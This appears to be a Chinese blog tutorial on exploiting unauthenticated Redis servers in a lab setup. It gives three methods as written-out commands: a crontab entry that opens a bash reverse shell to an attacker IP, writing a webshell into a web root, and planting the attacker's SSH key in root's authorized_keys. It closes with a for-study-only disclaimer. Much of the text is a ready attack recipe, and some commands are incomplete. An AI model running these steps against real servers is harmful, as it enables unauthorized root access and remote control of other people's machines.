Redis未授权访问的三种利用方式

简介

Redis是一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库,并提供多种语言的API。

漏洞描述

Redis默认情况下会绑定在0.0.0.0:6379,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以直接登录目标服务器。

影响版本

通用型漏洞

测试环境

下载官方redis压缩包到虚拟环境内,进行解压根据安装redis教程进行安装,最后解除绑定127.0.0.1,设置成无密码验证,安装apache服务器,开启web服务

漏洞复现

先使用命令redis-cli -h 192.168.137.140 -p 6379进行连接redis服务器,查看敏感信息,key和对应值

1.使用命令Info查看敏感信息
Redis未授权访问的三种利用方式_第1张图片

2.使用命令keys *查看key和对应的值

在这里插入图片描述

因为当前的redis是刚创建的,所以没有东西

然后在查看完敏感信息之后,就开始漏洞利用,主要分为三种方法:

1.利用crontab反弹shell

直接向靶机的Crontab写入任务计划,反弹shell

set x "
* * * * * /bin/bash -i >& /dev/tcp/192.168.137.136/6668 0>&1
"
config set dir /var/spool/cron/
config set dbfilename root
(中间返回error是因为没有使用root权限运行redis的缘故)

Redis未授权访问的三种利用方式_第2张图片

进行反弹,linux进行监听,但是监听了好大一会都没有监听到,查找文章,发现ubuntu下计划任务反弹shell需要注意两点,一是需要root权限,二是需要书写crontab计划的时候要将/bin/sh软链接到/bin/bash,当然我们也可以不修改软链接,可以直接将反弹shell的语句写入脚本,然后crontab任务定时执行脚本就可以 ln -s -f /bin/bash /bin/sh 设置软链接
但是ubuntu又发现了一个问题,在redis进行写入的时候发现计划中存在乱码,删除乱码
最后等待一分钟就接受到反弹的shell了

2.写入webshell

先通过方法确定web的路径,然后通过类似上面的方法写入webshell

set x "

"

config set /www/admin/localhost_80/wwwroot/

Config set dbfilename shell.php

使用蚁剑或者冰蝎等工具进行连接登录

3.写ssh-keygen公钥登录

先在攻击机上切换到root用户
在攻击机中生成ssh公钥和私钥,密码设置为空
ssh-keygen -t rsa
一路默认就可以

进入/root/.ssh目录下,将生成的公钥存入1.txt

(echo -e "

"; cat id_rsa.pub; echo -e "

") > 1.txt
redis-cli -h 192.168.137.146

更改redis备份路径为ssh公钥存放目录
config set dir /root/.ssh
设置上传公钥的备份文件名字为authorized_keys

config set dbfilename authorized_keys
save

然后就可以再攻击机上使用ssh免密码登录靶机
ssh -i id_rsa [ip]

本文章仅供学习使用。由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

你可能感兴趣的:(java,redis,服务器,数据库,java,微服务)